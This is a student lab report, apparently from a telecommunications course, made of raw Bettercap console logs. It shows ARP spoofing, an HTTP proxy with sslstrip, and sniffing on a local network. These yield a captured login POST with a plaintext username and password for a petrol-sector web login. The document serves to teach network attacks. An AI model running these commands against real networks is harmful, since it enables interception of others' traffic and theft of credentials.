26 DE NOVIEMBRE DE 2020

PRACTICA

BETTERCAP

HECTOR EMILIO CANTELLANO GOMEZ
INSTITUTO TECNOLOGICO DE CANCUN
Telecomunicaciones

```
192.168.0.0/24 > 192.168.0.15 » [20:47:41] [net.sniff.mdns] mdns 192.168.0.9 : PTR query for _233637DE._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:47:52] [net.sniff.mdns] mdns 192.168.0.5 : PTR query for _googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:47:52] [net.sniff.mdns] mdns 192.168.0.5 : PTR query for _37F83649._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:47:52] [net.sniff.mdns] mdns 192.168.0.5 : PTR query for _CC1AD845._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:47:56] [net.sniff.mdns] mdns 192.168.0.7 : PTR query for _googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:47:56] [net.sniff.mdns] mdns 192.168.0.7 : PTR query for _233637DE._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:00] [net.sniff.mdns] mdns 192.168.0.8 : PTR query for _googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:00] [net.sniff.mdns] mdns 192.168.0.8 : PTR query for _708780A0._sub._googlecast._tcp.local
[20:48:01] [net.sniff.mdns] mdns 192.168.0.9 : PTR query for _233637DE._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:01] [net.sniff.mdns] mdns 192.168.0.9 : PTR query for _googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:12] [net.sniff.mdns] mdns 192.168.0.5 : PTR query for _37F83649._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:12] [net.sniff.mdns] mdns 192.168.0.5 : PTR query for _CC1AD845._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:12] [net.sniff.mdns] mdns 192.168.0.5 : PTR query for _googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:16] [net.sniff.mdns] mdns 192.168.0.7 : PTR query for _googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:16] [net.sniff.mdns] mdns 192.168.0.7 : PTR query for _233637DE._sub._googlecast._tcp.local
192.168.0.0/24 > 192.168.0.15 » [20:48:19] [sys.log] [inf] [sslstrip] Stripping 3 SSL links from login.petrolweb.net
192.168.0.0/24 > 192.168.0.15 » [20:48:19] [net.sniff.http.request] http DESKTOP-5G1TJD6 POST login.petrolweb.net/

POST / HTTP/1.1
Host: login.petrolweb.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 36
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://login.petrolweb.net/
Accept-Language: es-419,es;q=0.9,es-ES;q=0.8,en;q=0.7,en-GB;q=0.6,en-US;q=0.5
Cookie: _ga=GA1.2.1848422834.1606704459; _gid=GA1.2.866469621.1606704459; _gat=1
Cache-Control: max-age=0
Origin: http://login.petrolweb.net

UserName=Emcant&Password=Hesacsaxcwq
```

```
↑ 5.7 MB / ↓ 25 MB / 365418 pkts

192.168.0.0/24 > 192.168.0.15 » set arp.spoof.targets 192.168.0.3[20:43:18] [endpoint.new] endpoint 192.168.0.2 detected as 30:59:b7:96:38:31 (Microsoft).
192.168.0.0/24 > 192.168.0.15 » set arp.spoof.targets 192.168.0.15
192.168.0.0/24 > 192.168.0.15 » set http proxy.address 192.168.0.15[20:43:35] [endpoint.lost] endpoint 192.168.0.2 30:59:b7:96:38:31 (Microsoft) lost.
192.168.0.0/24 > 192.168.0.15 » set http proxy.address 192.168.0.15[20:44:05] [endpoint.new] endpoint 192.168.0.2 detected as 30:59:b7:96:38:31 (Microsoft).
192.168.0.0/24 > 192.168.0.15 » set http proxy.address 192.168.0.15
192.168.0.0/24 > 192.168.0.15 » set arp.spoof.targets 192.168.0.12
192.168.0.0/24 > 192.168.0.15 » set http.proxy.address 192.168.0.15
192.168.0.0/24 > 192.168.0.15 » get http.proxy.address

  http.proxy.address: '192.168.0.15'

192.168.0.0/24 > 192.168.0.15 » [20:45:25] [endpoint.lost] endpoint 192.168.0.2 30:59:b7:96:38:31 (Microsoft) lost.
192.168.0.0/24 > 192.168.0.15 » http.proxy on[20:45:40] [endpoint.new] endpoint 192.168.0.2 detected as 30:59:b7:96:38:31 (Microsoft).
192.168.0.0/24 > 192.168.0.15 » set http.proxy.sslstrip true
192.168.0.0/24 > 192.168.0.15 » get http.proxy.sslstrip

  http.proxy.sslstrip: 'true'

192.168.0.0/24 > 192.168.0.15 » set net.sniff.output prueba2emcant.cap
192.168.0.0/24 > 192.168.0.15 » get net.sniff.output

  net.sniff.output: 'prueba2emcant.cap'

192.168.0.0/24 > 192.168.0.15 » arp.spoof on
192.168.0.0/24 > 192.168.0.15 » [20:46:28] [sys.log] [err] module arp.spoof is already running
192.168.0.0/24 > 192.168.0.15 » [20:46:35] [endpoint.lost] endpoint 192.168.0.2 30:59:b7:96:38:31 (Microsoft) lost.
192.168.0.0/24 > 192.168.0.15 » http.proxy on
[20:46:46] [sys.log] [err] module http.proxy is already running
192.168.0.0/24 > 192.168.0.15 » net.sniff on
```